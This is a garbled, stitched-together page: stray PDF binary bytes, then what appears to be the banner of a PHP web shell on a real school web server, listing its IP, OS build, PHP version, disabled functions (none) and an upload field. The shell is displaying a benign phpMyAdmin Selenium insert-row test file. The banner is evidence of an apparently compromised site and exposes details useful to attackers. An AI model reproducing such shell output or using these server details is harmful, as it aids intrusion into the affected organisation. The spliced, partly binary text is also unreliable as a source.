%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/BK/wwwroot/phpMyAdmin/test/selenium/ |
Upload File : |
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Selenium TestCase for table related tests * * @package PhpMyAdmin-test * @subpackage Selenium */ require_once 'TestBase.php'; /** * PmaSeleniumTableInsertTest class * * @package PhpMyAdmin-test * @subpackage Selenium * @group selenium */ class PMA_SeleniumTableInsertTest extends PMA_SeleniumBase { /** * Setup the browser environment to run the selenium t * est case * * @return void */ public function setUp() { parent::setUp(); $this->dbQuery( "CREATE TABLE `test_table` (" . " `id` int(11) NOT NULL AUTO_INCREMENT," . " `name` varchar(20) NOT NULL," . " `datetimefield` datetime NOT NULL," . " PRIMARY KEY (`id`)" . ")" ); } /** * setUp function that can use the selenium session (called before each test) * * @return void */ public function setUpPage() { $this->login(); $this->navigateTable('test_table'); } /** * Insert data into table * * @return void * * @group large */ public function testAddData() { if (mb_strtolower($this->getBrowser()) == 'safari') { /* TODO: this should be fixed, but the cause is unclear to me */ $this->markTestIncomplete('Fails with Safari'); } $this->expandMore(); $this->byLinkText("Insert")->click(); $this->waitForElement("byId", "insertForm"); $this->byId("field_1_3")->value("1"); $this->byId("field_2_3")->value("abcd"); $this->byId("field_3_3")->value("2011-01-20 02:00:02"); $this->byId("field_5_3")->value("foo"); $this->byId("field_6_3")->value("2010-01-20 02:00:02"); $select = $this->select($this->byName("after_insert")); $select->selectOptionByLabel("Insert another new row"); // post $this->byId("buttonYes")->click(); $ele = $this->waitForElement("byClassName", "success"); $this->assertContains("2 rows inserted", $ele->text()); $this->byId("field_2_3")->value("Abcd"); $this->byId("field_3_3")->value("2012-01-20 02:00:02"); // post $this->byCssSelector( "input[value=Go]" )->click(); $this->waitForElementNotPresent("byId", "loading_parent"); $ele = $this->waitForElement("byClassName", "success"); $this->assertContains("1 row inserted", $ele->text()); $this->_assertDataPresent(); } /** * Assert various data present in results table * * @return void */ private function _assertDataPresent() { $this->byLinkText("Browse")->click(); $this->waitForElement("byId", "table_results"); $this->assertEquals( "1", $this->getCellByTableClass('table_results', 1, 5) ); $this->assertEquals( "abcd", $this->getCellByTableClass('table_results', 1, 6) ); $this->assertEquals( "2011-01-20 02:00:02", $this->getCellByTableClass('table_results', 1, 7) ); $this->assertEquals( "2", $this->getCellByTableClass('table_results', 2, 5) ); $this->assertEquals( "foo", $this->getCellByTableClass('table_results', 2, 6) ); $this->assertEquals( "2010-01-20 02:00:02", $this->getCellByTableClass('table_results', 2, 7) ); $this->assertEquals( "4", $this->getCellByTableClass('table_results', 3, 5) ); $this->assertEquals( "Abcd", $this->getCellByTableClass('table_results', 3, 6) ); $this->assertEquals( "2012-01-20 02:00:02", $this->getCellByTableClass('table_results', 3, 7) ); } }